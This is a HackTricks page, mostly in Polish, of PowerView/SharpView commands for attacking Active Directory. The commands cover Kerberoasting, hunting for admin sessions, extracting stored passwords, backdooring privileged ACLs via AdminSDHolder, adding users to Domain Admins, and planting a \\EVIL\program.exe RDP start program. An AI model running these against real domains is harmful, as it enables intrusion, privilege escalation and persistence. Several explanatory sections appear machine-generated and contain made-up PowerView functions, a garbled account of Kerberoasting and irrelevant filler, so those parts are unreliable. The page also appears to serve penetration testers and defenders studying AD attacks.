# PowerView/SharpView
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Najbardziej aktualna wersja PowerView zawsze będzie znajdować się w gałęzi dev PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) to port .NET [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Szybka enumeracja
```powershell
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Informacje o domenie
#### Get-Domain
```powershell
Get-Domain
```
Polecenie `Get-Domain` zwraca informacje o bieżącej domenie, takie jak nazwa domeny, SID (Security Identifier), GUID (Globally Unique Identifier) i inne szczegóły.
#### Get-DomainController
```powershell
Get-DomainController
```
Polecenie `Get-DomainController` zwraca informacje o kontrolerach domeny, takie jak nazwa, adres IP, nazwa domeny i inne szczegóły.
#### Get-DomainPolicy
```powershell
Get-DomainPolicy
```
Polecenie `Get-DomainPolicy` zwraca informacje o politykach domeny, takie jak nazwa, opis, ustawienia i inne szczegóły.
#### Get-DomainTrust
```powershell
Get-DomainTrust
```
Polecenie `Get-DomainTrust` zwraca informacje o zaufaniu między domenami, takie jak nazwa domeny, typ zaufania, kierunek i inne szczegóły.
#### Get-DomainUser
```powershell
Get-DomainUser
```
Polecenie `Get-DomainUser` zwraca informacje o użytkownikach domeny, takie jak nazwa, SID, GUID, grupy, właściwości konta i inne szczegóły.
```powershell
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
```
### Użytkownicy, Grupy, Komputery i OU
PowerView dostarcza wiele przydatnych funkcji do zarządzania użytkownikami, grupami, komputerami i jednostkami organizacyjnymi (OU) w środowisku Windows. Poniżej przedstawiam kilka przykładów użycia tych funkcji:
#### Użytkownicy
- `Get-NetUser`: Pobiera informacje o użytkownikach w domenie.
- `Get-NetUser -Username `: Pobiera informacje o konkretnym użytkowniku.
- `Get-NetUser -Filter `: Pobiera użytkowników spełniających określone kryteria.
- `Get-NetUser -Domain `: Pobiera użytkowników z określonej domeny.
#### Grupy
- `Get-NetGroup`: Pobiera informacje o grupach w domenie.
- `Get-NetGroup -GroupName `: Pobiera informacje o konkretnej grupie.
- `Get-NetGroup -Filter `: Pobiera grupy spełniające określone kryteria.
- `Get-NetGroup -Domain `: Pobiera grupy z określonej domeny.
#### Komputery
- `Get-NetComputer`: Pobiera informacje o komputerach w domenie.
- `Get-NetComputer -ComputerName `: Pobiera informacje o konkretnym komputerze.
- `Get-NetComputer -Filter `: Pobiera komputery spełniające określone kryteria.
- `Get-NetComputer -Domain `: Pobiera komputery z określonej domeny.
#### Jednostki organizacyjne (OU)
- `Get-NetOU`: Pobiera informacje o jednostkach organizacyjnych w domenie.
- `Get-NetOU -OUName `: Pobiera informacje o konkretnej jednostce organizacyjnej.
- `Get-NetOU -Filter `: Pobiera jednostki organizacyjne spełniające określone kryteria.
- `Get-NetOU -Domain `: Pobiera jednostki organizacyjne z określonej domeny.
Te funkcje mogą być przydatne podczas przeprowadzania testów penetracyjnych, aby uzyskać informacje o użytkownikach, grupach, komputerach i jednostkach organizacyjnych w celu identyfikacji potencjalnych słabości i ataków.
```powershell
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Logowanie i sesje
PowerView dostarcza kilka przydatnych funkcji do zarządzania logowaniem i sesjami w systemie Windows.
#### Pobieranie informacji o logowaniu
Aby uzyskać informacje o logowaniu użytkowników w danym systemie, możemy użyć funkcji `Get-NetLoggedon`. Ta funkcja zwraca listę użytkowników, którzy są obecnie zalogowani na danym komputerze.
```powershell
Get-NetLoggedon
```
#### Pobieranie informacji o sesjach
Aby uzyskać informacje o aktywnych sesjach w systemie, możemy użyć funkcji `Get-NetSession`. Ta funkcja zwraca listę aktywnych sesji wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetSession
```
#### Pobieranie informacji o sesjach SMB
Aby uzyskać informacje o aktywnych sesjach SMB w systemie, możemy użyć funkcji `Get-NetSMBSession`. Ta funkcja zwraca listę aktywnych sesji SMB wraz z informacjami o użytkownikach, komputerach, nazwach udziałów i czasie rozpoczęcia sesji.
```powershell
Get-NetSMBSession
```
#### Pobieranie informacji o sesjach RDP
Aby uzyskać informacje o aktywnych sesjach RDP w systemie, możemy użyć funkcji `Get-NetRDPSession`. Ta funkcja zwraca listę aktywnych sesji RDP wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetRDPSession
```
#### Pobieranie informacji o sesjach WinRM
Aby uzyskać informacje o aktywnych sesjach WinRM w systemie, możemy użyć funkcji `Get-NetWinRMSession`. Ta funkcja zwraca listę aktywnych sesji WinRM wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetWinRMSession
```
#### Pobieranie informacji o sesjach PowerShell
Aby uzyskać informacje o aktywnych sesjach PowerShell w systemie, możemy użyć funkcji `Get-NetPowerShellSession`. Ta funkcja zwraca listę aktywnych sesji PowerShell wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetPowerShellSession
```
#### Pobieranie informacji o sesjach DCOM
Aby uzyskać informacje o aktywnych sesjach DCOM w systemie, możemy użyć funkcji `Get-NetDCOMSession`. Ta funkcja zwraca listę aktywnych sesji DCOM wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetDCOMSession
```
#### Pobieranie informacji o sesjach WMI
Aby uzyskać informacje o aktywnych sesjach WMI w systemie, możemy użyć funkcji `Get-NetWmiSession`. Ta funkcja zwraca listę aktywnych sesji WMI wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetWmiSession
```
#### Pobieranie informacji o sesjach WSMan
Aby uzyskać informacje o aktywnych sesjach WSMan w systemie, możemy użyć funkcji `Get-NetWSManSession`. Ta funkcja zwraca listę aktywnych sesji WSMan wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetWSManSession
```
#### Pobieranie informacji o sesjach SSH
Aby uzyskać informacje o aktywnych sesjach SSH w systemie, możemy użyć funkcji `Get-NetSSHSession`. Ta funkcja zwraca listę aktywnych sesji SSH wraz z informacjami o użytkownikach, komputerach i czasie rozpoczęcia sesji.
```powershell
Get-NetSSHSession
```
```powershell
Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName #Get active sessions on the host
Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host)
```
### Obiekt zasad grupy - GPO
Jeśli atakujący ma **wysokie uprawnienia w GPO**, może wykorzystać je do **przywilejów podwyższonych** poprzez **dodanie uprawnień dla użytkownika**, **dodanie lokalnego administratora** do hosta lub **utworzenie zaplanowanego zadania** (natychmiastowego) w celu wykonania określonej czynności.\
Aby uzyskać [**więcej informacji na ten temat i jak go wykorzystać, kliknij tutaj**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
Naucz się, jak **wykorzystać uprawnienia w GPO i ACL** w:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
{% endcontent-ref %}
### ACL
```powershell
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Udostępnione pliki i foldery
PowerView provides several functions to enumerate shared files and folders on a target system. These functions can be useful for gathering information during a penetration test or security assessment.
#### Get-NetShare
The `Get-NetShare` function retrieves information about shared folders on a target system. It returns the share name, local path, and description for each shared folder.
```powershell
Get-NetShare
```
#### Get-NetLoggedon
The `Get-NetLoggedon` function enumerates users who are currently logged on to a target system. It can be used to identify users who have accessed shared files or folders.
```powershell
Get-NetLoggedon
```
#### Get-NetSession
The `Get-NetSession` function retrieves information about active sessions on a target system. It can be used to identify users who are currently connected to shared files or folders.
```powershell
Get-NetSession
```
#### Get-NetFile
The `Get-NetFile` function enumerates open files on a target system. It can be used to identify files that are currently being accessed by users.
```powershell
Get-NetFile
```
#### Get-NetFileServer
The `Get-NetFileServer` function retrieves information about file servers on a target system. It returns the server name, share name, and number of open files for each file server.
```powershell
Get-NetFileServer
```
#### Get-NetFileShare
The `Get-NetFileShare` function retrieves information about file shares on a target system. It returns the share name, local path, and number of open files for each file share.
```powershell
Get-NetFileShare
```
By using these functions, you can gather valuable information about shared files and folders on a target system, which can help in identifying potential security vulnerabilities or misconfigurations.
```powershell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Zaufanie domeny
Domain Trust (zaufanie domeny) to mechanizm w systemie Windows, który umożliwia jednej domenie zaufanie drugiej domenie. Za pomocą zaufania domenowego można udostępnić zasoby i usługi między różnymi domenami w sieci. Zaufanie domeny może być jednostronne lub dwustronne, co oznacza, że jedna domena może zaufać drugiej, ale druga domena nie musi zaufać pierwszej.
Zaufanie domeny może być przydatne w celu umożliwienia użytkownikom z jednej domeny dostępu do zasobów w innej domenie, takich jak pliki, drukarki, usługi sieciowe itp. Może również ułatwić zarządzanie kontami użytkowników i uprawnieniami w różnych domenach.
W celu ustanowienia zaufania domenowego, administrator musi skonfigurować odpowiednie ustawienia w systemie Windows. Istnieje kilka typów zaufania domenowego, takich jak zaufanie jednokierunkowe, zaufanie dwukierunkowe, zaufanie leśne itp. Każdy typ ma swoje własne zastosowanie i wymagania konfiguracyjne.
Podsumowując, zaufanie domeny jest mechanizmem, który umożliwia komunikację i udostępnianie zasobów między różnymi domenami w sieci Windows. Jest to przydatne narzędzie zarządzania i umożliwiania dostępu do zasobów w środowiskach wielodomenowych.
```powershell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### Niskowiszące owoce
Niskowiszące owoce to proste i łatwe do wykorzystania podatności, które są często ignorowane lub niedoceniane przez administratorów systemów. Wykorzystanie tych podatności może umożliwić atakującemu zdobycie dostępu do systemu lub uzyskanie wrażliwych informacji. Poniżej przedstawiam kilka przykładów niskowiszących owoców, które można wykorzystać w celach pentestowych:
#### Słabe hasła użytkowników
Wielu użytkowników nadal używa słabych haseł, takich jak "password" lub "123456". Atakujący może wykorzystać te słabe hasła, aby uzyskać dostęp do kont użytkowników.
#### Nieaktualne oprogramowanie
Nieaktualne oprogramowanie często zawiera znane podatności, które mogą być wykorzystane przez atakujących. Administratorzy powinni regularnie aktualizować oprogramowanie, aby zapobiec wykorzystaniu tych podatności.
#### Brak zabezpieczeń
Wiele systemów nie ma odpowiednich zabezpieczeń, takich jak silne hasła, ograniczenia dostępu czy monitorowanie logów. Atakujący może wykorzystać te braki w zabezpieczeniach, aby uzyskać nieautoryzowany dostęp.
#### Nieprawidłowe konfiguracje
Nieprawidłowe konfiguracje systemów mogą prowadzić do wystąpienia podatności. Przykładowo, niewłaściwie skonfigurowane uprawnienia plików lub błędne ustawienia serwera mogą umożliwić atakującemu uzyskanie dostępu do systemu.
#### Słabe zarządzanie użytkownikami
Niewłaściwe zarządzanie użytkownikami, takie jak nadawanie zbyt dużych uprawnień lub brak regularnego usuwania nieaktywnych kont, może prowadzić do podatności. Atakujący może wykorzystać te słabe zarządzanie, aby uzyskać dostęp do kont użytkowników.
Wykorzystanie niskowiszących owoców jest często pierwszym krokiem w procesie penetrowania systemu. Atakujący powinien zawsze rozważyć wykorzystanie tych podatności, ponieważ mogą one być łatwe do wykorzystania i mogą prowadzić do dalszych ataków.
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
```
### Usunięte obiekty
W systemie Active Directory istnieje możliwość przywracania usuniętych obiektów, które zostały przypadkowo lub celowo usunięte. Powerview dostarcza kilka przydatnych funkcji do odzyskiwania takich obiektów.
#### Get-DomainObject
Polecenie `Get-DomainObject` pozwala na wyszukiwanie usuniętych obiektów w domenie. Można je filtrować na podstawie różnych atrybutów, takich jak nazwa, SID, GUID, typ obiektu itp.
```powershell
Get-DomainObject -Deleted
```
#### Restore-DomainObject
Polecenie `Restore-DomainObject` służy do przywracania usuniętych obiektów. Wymaga podania identyfikatora obiektu, który można uzyskać za pomocą polecenia `Get-DomainObject`.
```powershell
Restore-DomainObject -Identity
```
#### Remove-DomainObject
Polecenie `Remove-DomainObject` służy do trwałego usunięcia obiektów z systemu Active Directory. Może być używane do usunięcia obiektów, które zostały przywrócone za pomocą polecenia `Restore-DomainObject`.
```powershell
Remove-DomainObject -Identity
```
#### Przykład użycia
Poniżej przedstawiony jest przykład użycia powyższych poleceń w celu odzyskania i usunięcia obiektu użytkownika o nazwie "JohnDoe".
```powershell
$deletedUser = Get-DomainObject -Deleted | Where-Object {$_.SamAccountName -eq "JohnDoe"}
Restore-DomainObject -Identity $deletedUser.DistinguishedName
Remove-DomainObject -Identity $deletedUser.DistinguishedName
```
W powyższym przykładzie najpierw wyszukujemy usuniętego użytkownika o nazwie "JohnDoe" za pomocą polecenia `Get-DomainObject`. Następnie przywracamy ten obiekt za pomocą polecenia `Restore-DomainObject`. Na koniec usuwamy go trwale za pomocą polecenia `Remove-DomainObject`.
```powershell
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### MISC
#### SID na Nazwę
```powershell
ConvertFrom-SID -SID
```
Konwertuje identyfikator zabezpieczeń (SID) na nazwę konta w systemie Windows.
#### Name to SID
```powershell
ConvertTo-SID -Name
```
Konwertuje nazwę konta na identyfikator zabezpieczeń (SID) w systemie Windows.
#### Get Current User SID
```powershell
(Get-ADUser -Identity $env:USERNAME).SID.Value
```
Pobiera identyfikator zabezpieczeń (SID) bieżącego użytkownika w systemie Windows.
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
Kerberoast to technika ataku, która polega na wykorzystaniu słabych haseł użytkowników w celu uzyskania ich skróconych haseł Kerberos. Skrócone hasła Kerberos są przechowywane w formie skróconych haseł usługowych (Service Principal Names - SPN) w Active Directory. Atakujący może wykorzystać narzędzie PowerView, aby zidentyfikować konta użytkowników, które mają skrócone hasła Kerberos, a następnie użyć narzędzia Rubeus do ich złamania. Po złamaniu skróconego hasła Kerberos, atakujący może uzyskać dostęp do konta użytkownika i wykonać dalsze działania.
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Użyj innych poświadczeń (argument)
To use different credentials when running PowerShell commands, you can use the `-Credential` parameter. This allows you to specify a different set of credentials to be used for the command execution.
For example, if you want to run a command as a different user, you can use the following syntax:
```powershell
Get-Process -Credential (Get-Credential)
```
This will prompt you to enter the username and password for the desired user. Once entered, the command will be executed using the provided credentials.
Keep in mind that you need appropriate permissions to use different credentials. Additionally, be cautious when using this feature, as it can potentially expose sensitive information if not used properly.
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Udawanie użytkownika
To udawanie użytkownika w PowerShellu można osiągnąć za pomocą polecenia `Invoke-UserImpersonation`. Polecenie to wymaga uprawnień administratora i pozwala na zmianę kontekstu użytkownika na dowolne konto w domenie. Oto składnia polecenia:
```powershell
Invoke-UserImpersonation -Username -Domain -Password
```
Gdzie:
- `` to nazwa użytkownika, którego chcemy udawać,
- `` to nazwa domeny, w której znajduje się konto użytkownika,
- `` to hasło użytkownika.
Po wykonaniu polecenia, bieżący kontekst użytkownika zostanie zmieniony na konto, które chcemy udawać.
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
```
#### Ustawianie wartości
To ustawienie wartości w PowerShell można wykonać za pomocą operatora przypisania (=). Na przykład, aby przypisać wartość 5 do zmiennej $x, użyjemy poniższego polecenia:
```powershell
$x = 5
```
Możemy również przypisać wartość do zmiennej na podstawie wyniku innego polecenia. Na przykład, jeśli chcemy przypisać wartość 10 do zmiennej $y na podstawie wyniku polecenia Get-Process, możemy użyć poniższego polecenia:
```powershell
$y = (Get-Process).Count
```
Wartości można również przypisać do właściwości obiektów. Na przykład, jeśli chcemy przypisać wartość "admin" do właściwości "Username" obiektu $user, możemy użyć poniższego polecenia:
```powershell
$user.Username = "admin"
```
Ustawienie wartości w PowerShell jest podstawowym narzędziem, które pozwala nam manipulować danymi i wykonywać różne operacje.
```powershell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
